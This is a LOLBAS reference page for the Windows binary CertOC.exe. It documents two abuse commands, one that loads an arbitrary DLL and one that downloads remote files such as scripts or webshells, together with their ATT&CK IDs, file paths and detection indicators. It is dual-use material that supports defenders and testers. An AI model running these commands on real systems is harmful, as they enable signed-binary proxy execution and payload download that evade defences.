LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

CertOC.exe

View source

Used for installing certificates

ExecuteDownload
02COMMAND EXAMPLES
02ATT&CK TECHNIQUES
01DETECTION RESOURCES
02CAPABILITIES
01 / TRADECRAFT

Command reference

2 examples

Execute1

EXAMPLE 01T1218

Loads the target DLL file

COMMAND
certoc.exe -LoadDLL {PATH_ABSOLUTE:.dll}
USE CASE
Execute code within DLL file
PRIVILEGES
User
OPERATING SYSTEM
Windows Server 2022
Execute · DLL

Download1

EXAMPLE 01T1105

Downloads text formatted files

COMMAND
certoc.exe -GetCACAPS {REMOTEURL:.ps1}
USE CASE
Download scripts, webshells etc.
PRIVILEGES
User
OPERATING SYSTEM
Windows Server 2022
02 / ON DISK

Known paths

c:\windows\system32\certoc.exe
c:\windows\syswow64\certoc.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources

Indicators & detection notes

  • IOC

    Process creation with given parameter

  • IOC

    Unsigned DLL load via certoc.exe

  • IOC

    Network connection via certoc.exe

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Ensar Samil@sblmsrsn